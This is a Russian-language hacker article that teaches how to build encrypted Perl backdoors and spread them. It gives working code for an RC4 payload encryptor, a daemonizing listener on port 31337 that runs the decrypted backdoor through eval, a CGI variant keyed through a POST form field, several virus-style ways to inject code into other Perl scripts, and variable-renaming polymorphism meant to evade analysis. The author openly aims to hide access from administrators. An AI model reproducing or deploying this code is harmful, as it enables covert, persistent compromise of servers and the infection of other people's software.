![]() |
||
|---|---|---|
Как в настоящее время защищенны обычные бэкдоры в системах? Обычно никак. Максимум что используется это пароли. В некоторых случаях используются хэши паролей - для этого используют MD5 или стандартную функцию crypt. Этот подход имеет свои минусы и плюсы. Давайте их рассмотрим:
В качестве решения одновременно по авторизации пользователя и защите скрипта от посягательств возможно зашифровать основное тело скрипта. Таким образом бэкдор распадается на 2 части - первая часть принимает ключ от пользователя и расшифровывает им вторую - наиболее важную часть скрипта. Если ключ правильный - то вторая часть запускается на исполнение и мы имеем полноценный бэкдор в системе. Parth I. Выбор шифра На самом деле задача выбора шифра довольно сложна - надо выбрать алгоритм шифрования максимально простой, быстрый и надёжный, учитывая при этом что любители классического xor идут нах ;) Наш выбор - алгоритм RC4 - поточный алгоритм с переменным размером ключа. Есстесвенно исходя из различных условий следует выбирать различные алгоритмы - однако если вам противостоит среднестатический администратор - значит RC4 идеально подойдёт. Рассмотрим подробнее работу данного шифра. В алгоритме используются 2 счётчика (обозначим их X и Y) с нулевыми начальными значениями и блок замены (S-блок) размером 8*8. Для генерации одного байта гаммы применяются следущие операции (обозначим через S[i] содержимое i-ой ячейки S-блока):
$key = ключ;
$data = текст, который нужно зашифровать / расшифровать;
#функция для перестановки S[X] и S[Y]
sub S{
@s[$x,$y]=@s[$y,$x]
}
@k=unpack"C*",pack"H*",$key;
#инициализация S-блока
$x=$y=0;
for(@t=@s=0..255){
($y+=$k[$_%@k]+$s[$x=$_])%=256;
&S
}
$x=$y=0;
#шифрование
$l=0;
($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);
Немного истории:
Parth II. Готовим бэкдор. Теперь нам необходим скрипт, который будет готовить бэкдоры, шифруя их тело. Для проверки правильности первоначально расчитаем контрольную сумму шифруемого скрипта и так же сохраним её.
#!/bin/perl
# bdrc4.pl
use integer;
# step 0
# init data
$file = "bd.pl";
$sample_file = "startbd";
$key = "123abcdefQWERT";
# step 1
# read file
open (FILE, "$file") || die "Cannot open file";
while (<FILE>) {
$data .= $_;
}
close FILE;
#remove some shits
$data =~ s/([^\$])#([^\n])*//g;
$data =~ s/(\n)*\n/\n/g;
# step 2
# calculate checksumm
$crc = &CRC32($data);
# step 3
# generate chypertext
sub S{
@s[$x,$y]=@s[$y,$x]
}
@k=unpack"C*",pack"H*",$key;
$x=$y=0;
for(@t=@s=0..255){
($y+=$k[$_%@k]+$s[$x=$_])%=256;
&S
}
$x=$y=0;
$l=0;
($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);
$data = unpack "h*", $data;
# step 4
# save
&SaveFile ($sample_file, $data, $crc);Более полный текст модуля с функциями SaveFile и CRC32 можно найти в архиве к статье. Итак что же делает данный скрипт? Вначале нам необходимо задать кое какие входные данные: $file = "bd.pl"; # оригинальный текст бэкдора, который мы будем шифровать $sample_file = "startbd"; # файл шаблон для скрипта, расшифровывающего бэкдор $key = "123abcdefQWERT"; # ключ для шифрования После этого мы считываем оригинальный текст из файла который нам необходимо зашифровать, удаляем в нём строки комментариев и пустые (для уменьшения размера), считаем контрольную сумму, шифруем и при помощи функции SaveFile записываем зашифрованный скрипт и контрольную сумму в файл-шаблон. Parth III. Запуск бэкдора Теперь рассмотрим работу шаблона для расшифровки нашего бэкдора - очевидно что это должен быть какой-то самостоятельный скрипт, который тем или иным способом получает данные, расшифровывает скрипт, сверяет контрольную сумму и, в случае совпадения запускает скрипт на исполнение. Учитывая наш довольно комактный алгоритм шифрования можно разместить текст бэкдора например в движке форума - благо мест там достаточно и длдя расшифровки использовать например название темы (в случае несовпадения CRC просто добавлять тему, а в сучае удачной расшифровки запускать бэкдор). Можно написать скрипт для запуска через Web - используя для передачи данных туннелинг в HTTP. Хочется предостеречь от передачи пароля стандартным для некоторых бэкдоров методом GET - все эти данные логгятся и поэтому лучше использовать что-нибудь менее приметное. И наконец ещё одно решение - это будет другой бекдор -те скрипт, который открывает какой-то порт, ждёт подключения - принимает пароль и пытается расшифровать оригинальный текст бэкдора. Для начала и рассмотрим 3-й метод. Займёмся написанием своего бэкдора...
#!/usr/bin/perl
# startbd
use Socket;
use integer;
$port= 31337; # порт на котором будем ожидать подключений
$proto= getprotobyname('tcp');
$data=qq~data1~; #зашифрованный скрипт
$crc="data2"; # контрольная сумма скрипта
$data = pack "h*", $data;
# открываем сокет и начинаем прослушивать
socket(SERVER, PF_INET, SOCK_STREAM, $proto)or die &error();
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die &error();
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die &error();
listen(SERVER, SOMAXCONN)or die &error();
# игнорим возможные попытки прервать наш скрипт
$SIG{'INT'}=$SIG{'HUP'}=$SIG{'TERM'}=$SIG{'CHLD'}='IGNORE';
# если запуск под *nix системой - тогда переходим работать в фон
if ($^O ne "MSWin32"){
use POSIX 'setsid';
die &exit() unless defined (my $child = fork);
exit 0 if $child;
setsid ();
open (STDIN, "</dev/null");
open (STDOUT, ">/dev/null");
open (STDERR, ">&STDOUT");
}
while (1) {
# принимаем входящее соединение
next unless my $remote_addr=accept(SESSION,SERVER);
# считываем по одному символу
while(1){
my $s;
$bytes = read (SESSION, $s, 1);
if ($s eq "\r" or $s eq "\n"){
last;
}
$key .= $s;
}
# пытаемся расшифровать, используя полученный ключ
$sdata = $data;
$x=$y=0;
@k=unpack"C*",pack"H*",$key;
for(@t=@s=0..255){
($y+=$k[$_%@k]+$s[$x=$_])%=256;
&S
}
$x=$y=$l=0;
($y+=$s[($x+=1)%=256])%=256,&S,vec($sdata,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);
# считаем CRC32 того что расшифровали
$crc1 = &CRC32 ($sdata);
if ($crc1 ne $crc) {
# облажались - говорим досвидания
print SESSION "shit";
$key = "";
}
else{
# всё нормально - вырубаемся и передаём управление дочернему скрипту
close SESSION;
eval ($sdata);
last;
}
close SESSION;
}
Полный текст этого скрипта так же можно найти в архиве. Path IV. Вирусы Другой метод, который мы рассмотрим восходит своими корнями в вирмейкерство. Мы будем внедрять свой код в чужие скрипты. В идеале это нужно делать руками -что бы всё было красиво и как полагается... однако мы напишем некое подобие вируса, который заражает файл текстом бэкдора. Итак прежде всего нам необходимо рассмотреть возможности вирусов на языке Perl - ведь и заражать мы будем pl файлы. Итак какие существуют варианты вирусов (из тех что мне встречались):
На самом деле наиболее безопасным является использование куков и / или данных POST. Всё очень просто данные передающиеся с помощью метода GET, через QUERY_STRING попадают в логи на любом веб сервере, так же как и другие основные заголовки HTTP протокола (User-Agent, Referer, Accept-language, etc). Конечно можно добавить свой заголовок - но этом омжет вызвать какие-либо подозрения при анализе трафика. Поэтому лучше всего скрыть свои данные в легальном потоке. Как уже отмечалось выше если вы знаете какие данные получает скрипт - то лучше использовать именно эти данные для передачи пароля - это может быть и специальная строка для поиска, заголовок темы, или специально сформированный email адрес...да мало ли чего.
$data=qq~data1~;
$crc="data2";
$data = pack "h*", $data;
# прочитаем данные, переданные через POST запрос
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$input{$name} = $value;
}
# если существует поле theme - в нёым передаётся ключ
if ($input{'theme'} ne ''){
# расшифровываем
$x=$y=0;
@k=unpack"C*",pack"H*",$input{'theme'};
for(@t=@s=0..255){
($y+=$k[$_%@k]+$s[$x=$_])%=256;
&S
}
$x=$y=$l=0;
($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);
$crc1 = &CRC32 ($data);
# сравниваем CRC
if ($crc1 ne $crc) {
# ошибка - либо ничего не делаем
# либо посылаем пользователю какое-нить уведомление...
print "HTTP/1.0 302 Found\n";
print "Location: wrong_password.pl\n\n";
exit;
}
else{
# всё ок - в качестве альтернативы можно вызвать exit
# для выхода после eval
eval ($data);
}
}
...
Теперь рассмотрим сам процесс внедрения - напишем последовательно различные варианты скрипта для внедрения нашего кода. Первый вариант - мы внедряем функцию в конец скрипта, и добавляем в начало её вызов. Те поражённый скрипт будет выглядеть таким образом:
#!usr/bin/perl
&OurSub;
[Main Script]
sub OurSub{
.....
}
Это довольно просто:
Следующий метод внедрения - ещё более простой - мы просто внедрим в случайное место файла блок BEGIN - он всегда выполняется в первую очередь, поэтому ваш код получит управление первым - нас даже не должно волновать куда мы попадём - мы можем реально воткнуться в случайное место файла - в любую функцию, цикл или условие if/else...
open (FILE, "$file") || die "Cannot open file";
@data = <FILE>;
close FILE;
# выводим сообщение и выходим - реальная часть скрипта никогда не получит управление
$injection_code = "BEGIN { print \"Yo-ho-ho busters, you script will never run\"; exit; }";
# выбираем случайную строку для размещения нашего кода
$injection_start = int (rand ($#data));
# флажок - что мы уже внедрили код
$injection_complete = 0;
open (FILE, ">$file");
$i = 0;
foreach $line (@data) {
# проверим что мы находимся на нужной строчке и это строка кода:
if ($i == $injection_start && $line =~ /;/ && !$injection_complete && !($line =~ /#/)) {
$line = "$injection_code\n$line";
$injection_complete = 1;
}
elsif ($i == $injection_start && !$injection_complete){
# мы оказались не на строке кода - увеличим счётчик
$injection_start ++;
}
print FILE "$line";
$i ++;
}
# если мы всё таки не внедрились - добавим себя в конец файла.
if (!$injection_complete)
print FILE "$injection_code";
close(FILE);
Следующи вариант - использование сигналов - мы можем установить обработчики различных сигналов. Наиболее интересной техникой мне кажется обработка функций warn и die. Для этого необходимо установить 2 специальных значения хэша SIG:
$SIG{__DIE__} = \&our_sub;
$SIG{__WARN__} = \&our_sub;
sub our_sub{
....
}
Теперь когда в исходном скрипте будет вызванна функция die или warn - то усправление передаться на наш код. Таким образом мы можем специально вызвать (внешними данными) в скрипте исключение для выполнения кода. Ещё одной неожиданной мыслью может стать установка сигнала в именно момент исключения:
die $SIG{__DIE__} = \&check_this_out;
И напоследок - изменение кода какой-либо функции в скрипте. Для начала скрипт собирает имена всех функций в файле, после этого случайным образом выбирается одна из них и в её тело внедряется код.
open (FILE, "$file") || die "Cannot open file";
@data = <FILE>;
close FILE;
$injection_code = " print \"Hello fucking world!\"";
$i = 0; # счётчик строк
$badline = 0; # строка на которой встретим exit
foreach $line (@data) {
$d .= $line; # собираем весь текст файла по ходу дела в одну переменную
chomp($line);
# составляем хэш, содержащий имена функций:
if ($line=~ /sub ([ \t]*)(([^{\n])*)/) {
# сохраняем имя функции и строку на которой
# встречается её описание
$sublist{$2} = $i;
}
$i ++;
}
# случайным образом выбираем процедуру
$i = keys %sublist;
$sub = int(rand($i-1))+1;
$i= 0;
# перебираем все функци в хэше:
foreach $key(sort keys %sublist) {
if ($i == $sub) {
# нашли функцию на которую пал выбор
# wanna debug ?
#print "Found :$key";
# увеличиваем номер строки, пока не встретим {
# что бы попасть чётко в тело функции, а не в
# промежуток между названием и {
while ($file[$sublist{$key}+1] =~ /{/) {
$sublist{$key} ++;
}
$x = $d;
$d = "";
# теперь надо проверить есть ли в
# тексте вызов ннашей функции
# для этого удалим из текста файла
# описания всех всех процедур
# поищем в оставшемся куске вызов
# если вызов не найден - то определи строку
# в которой первый раз встречается exit
# и внедримся случайно перед этой строкой
# сначала изничтожаем из текста файла
# комментарии
# хэши
# описания процедур в одну строку
$x =~ s/([^\$])#([^\n])*//gm;
$x =~ s/\$(\S+)*([ \t])*\{([^\})])*\}//gm;
$x =~ s/\bsub\b([^\{])*\{/sub {/gm;
$x =~ s/sub([^\{\n])*{([^\}\n])*}//gm;
$count = -1;
$i = 0;
for my $line (split(/\n/,$x)) {
if($line=~/\bsub\b/) {
$count = 0;
}
if ($count >= 0) {
$line=~s/{/($count++)/ee;
$line=~s/}/($count--)/ee;
}
$count=-1 if (!$count && !($line =~ /\}/));
if ($count==-1){
$d.="$line\n";
if ($line=~ /exit/ && $badline == 0) {
$badline = $i;
}
}
$i ++;
}
# теперь в $d у нас содержиться тест файла без описания функций,
# а в $badline первая строка где встречается вызов exit
if ($d =~ /die([ \t]*)$key\b/) {
# данная функиця используется в сочетании с die
# возможно стоит это как обработать
# а может и нет =))
}
else{
if ($d =~ /([ ]|[\&])$key([\(]|[;]|[,]|[ ]|[\n])/x) {
# в тексте файла есть вызов данной функции - значит всё ок
# скинем $badline
$badline = -1;
}
}
# сохраняем всё это чудо:
open (FILE, ">$file");
if ($badline >= 0) {
# если вызова нет и Exit не встречается
# тогда надо случайно определить
# строку куда мы вставимся:
if (!$badline) {
@lines = split (/\n/, $d);
$badline =int (rand ($#lines));
}
$sub = int (rand ($badline));
# добавляем вызов функции:
$data[$sub] = "&$key;$data[$sub]";
}
# сохраняем данные из файла:
for ($j=0; $j<$sublist{$key}+1;$j++) {
print FILE "$data[$j]\n";
}
# внедряем код
print FILE "$injection_code\n";
# дописываем остаток файла
for ($j=$sublist{$key}+1; $j<=$#data;$j++) {
print FILE "$data[$j]\n";
}
close(FILE);
last;
}
$i ++;
}
Естественно что эта техника больше подходит вирусам чем бэкдорам - ведь нет гарантии что скрипт обязательно вызовет функцию в код которой мы внедрились....
Parth V. Простой полиморфизм Что бы как нибудь защитить скрипт от анализа и определения можно добавить немного полиморфизма. Самый простой вариант - изменить имена переменных (и/или функций). При чём для большего эффекта можно изменять имена переменных не только своего скрипта, но скрипта куда производится внедрение. Производится всё это довольно просто - собираем имена всех переменных и с помощью рег экспов заменим их случайными выражениями:
# в переменной $x находится тело скрипта:
for my $line (split(/\n/,$x)) {
# выдираем имена переменных:
if ($line =~ /[^\\]\$([^ \t\;\{#_\"\(\)<>=\\\/\.\,\[\]\|\&\'\+\-\*])*/ ) {
$v = $&;
# проверим что б это было не $1 и тп:
if (($v ne '$') && !($v =~ /\$[1-9]/)) {
# удалим символ $
$v =~ s/\$//;
# составим хэш вида:
# varlist {старое имя переменной} = новое имя переменной
# новое имя состоит из случайной буквы и цифры
$varlist {$v} = chr (int (rand (25)+65));
$varlist {$v} .= int (rand (65535));
}
}
}
# пройдёмся по всем элементам хэша
foreach $v(sort keys %varlist) {
# заменим значения $, $# и @ на случайные :
$x =~ s/\$$v\b/\$$varlist{$v}/gim;
$x =~ s/\$\#$v\b/\$\#$varlist{$v}/gim;
$x =~ s/\@$v\b/\@$varlist{$v}/gim;
}
Конечно такой полиморфизм идеальным не назовёшь (да и вообще у меня большие сомнения в необходимости полиморфизма такого рода в этих скриптах) - но всё же что-то лучше чем ничего. Outro Вот и всё - теперь никто кроме вас не только не сможет использовать ваши бэкдоры, но и понимать что они делают. Естественно что это ещё не предел совершенства - данный скрипт уязвим к man-in-the-middle атакам так что ваш пароль могут соснифать - но с другой стороны для запуска бэкдора вам не нужно ничего кроме telnet'а или браузера - это часто тоже немаловажный плюс. Во второй части статьи как раз и будет рассмотренно как организовать безопасный канал для передачи пароля - однако прежде чем его использовать следует подумать - а оно вам надо ? ;) А теперь как и обещалось RC4 in 4 lines of Perl ;)
#!/bin/perl -0777p-- export-a-crypto-system-sig -RC4-in-3-lines-of-perl
use integer;BEGIN{sub S{@s[$x,$y]=@s[$y,$x]}@k=unpack"C*",pack"H*",shift@ARGV;
for(@t=@s=0..255){($y+=$k[$_%@k]+$s[$x=$_])%=256;&S}$x=$y=0}$l=0;($y+=$s[($x+=
1)%=256])%=256,&S,vec($_,$l++,8)^=$s[($s[$x]+$s[$y])%256]while$l<length
Хотя автор и написал что скрипт в 3 строки, всё же без первой из 4-х скрипт работать не будет - так что всё таки 4 строки. Ипользовать этот скрипт таким образом: echo hello world | rc4 my_key > test.rc4 Have fun ;) Думаю что код на С вам самим по силам - но при желании его так же можно найти в инете.... Some links:
|
||
| by said |
||